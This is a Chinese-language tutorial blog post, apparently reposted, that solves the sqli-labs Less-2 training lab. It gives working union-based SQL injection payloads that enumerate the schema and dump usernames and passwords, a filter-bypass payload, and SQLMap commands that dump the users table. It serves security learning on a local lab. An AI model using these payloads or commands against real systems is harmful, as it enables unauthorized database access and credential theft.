当前位置: 首页 > news >正文

sqli-labs:Less-2关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:数值型
  • 提示:参数id无需考虑闭合问题,相对简单

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-2/,只需要将下面的sql语句粘贴即可。

2.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


2.2. 判断字段数⚡

?id=1 order by 4
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述
本关卡在sql语句后是不需要加--+注释符,是否加--+注释符详细如下:

2.2.1. 必须使用--+的情况
场景特征示例必要性分析
URL参数注入?id=1'--+URL中的空格会被编码,+确保注释生效
闭合单引号admin'--+避免后续SQL语法错误
过滤空格环境1'/**/OR/**/1=1--+WAF可能过滤空格但允许+
2.2.2. 可不使用的情况
场景特征示例原因分析
数字型注入?id=1 OR 1=1无需闭合引号
报错注入?id=1 AND updatexml(1,concat(0x7e,(SELECT@@version)),1)语句自包含无需截断
POST表单注入username=admin'--表单数据不涉及URL编码

2.3. 确定回显位⚡

?id=-1 union select 1,2,3
  • -1:使前查询无结果
  • union select:联合查询回显位

在这里插入图片描述


2.4. 获取基础信息⚡

?id=-1 union select 1,database(),user()

在这里插入图片描述


2.5. 获取表名⚡

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'

在这里插入图片描述


2.6. 获取字段⚡

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

在这里插入图片描述


2.7. 获取数据⚡

?id=-1 union select 1,group_concat(username),group_concat(password) from users

在这里插入图片描述


2.8. 参数汇总表⭐

参数作用示例
order by判断字段数order by 4
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-2/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-2/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
!https://via.placeholder.com/600x300?text=SQLMap截图
命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

如有不懂,关卡1的解析更为详细,相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209

  1. 注入类型:数值型
  2. 核心步骤:判字段→找回显→爆库→爆表→爆数据
  3. 工具对比:手工注入适合学习原理,SQLMap适合快速验证

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/306697.html

相关文章:

  • 跨云部署实战:前端、后端 + RSYNC、全栈场景统一落地方案
  • 在macOS上使用VS Code和Clang配置C++开发环境
  • 《解密React key:虚拟DOM Diff中的节点身份锚点》
  • Undo、Redo、Binlog的相爱相杀
  • GIS工程师面试题
  • Java项目:基于SSM框架实现的济南旅游网站管理系统【ssm+B/S架构+源码+数据库+毕业论文+远程部署】
  • 力扣 hot100 Day60
  • Rabbit MQ的消息模式-Java原生代码
  • 发那科机器人P点位置号码自动变更功能为禁用状态
  • 认识ansible(入门)
  • 《嵌入式C语言笔记(十六):字符串搜索、动态内存与函数指针精要》
  • RocketMQ 核心特性解析及与 Kafka区别
  • 思途JSP学习 0730
  • DP-v2.1-mem-clean学习(3.6.7)
  • 片上变化(OCV)
  • 7.Origin2021如何绘制拟合数据图?
  • Python 之抽象方法 @abstractmethod 的理解
  • Day06_C++编程
  • 9《MySQL 教程》MySQL 的数据类型(2)
  • 云原生环境里的显示变革:Docker虚拟浏览器与cpolar穿透技术实战
  • 赵义弘-----补题报告
  • 【python】Python爬虫入门教程:使用requests库
  • 【git】在 GitLab 上如何把 A 分支(如 feature/xxx)合并到 B 分支(如 trunk)
  • Scala实现常用排序算法
  • 深入理解 Kotlin Flow:异步数据流处理的艺术
  • MidJourney精选图集与提示词生成器:AI创意灵感与高效提示词工具
  • composer 常用命令
  • 高防CDN与高防IP的选择
  • docker可视化管理工具lazydocker
  • 【百卷编程】Go语言大厂高级面试题集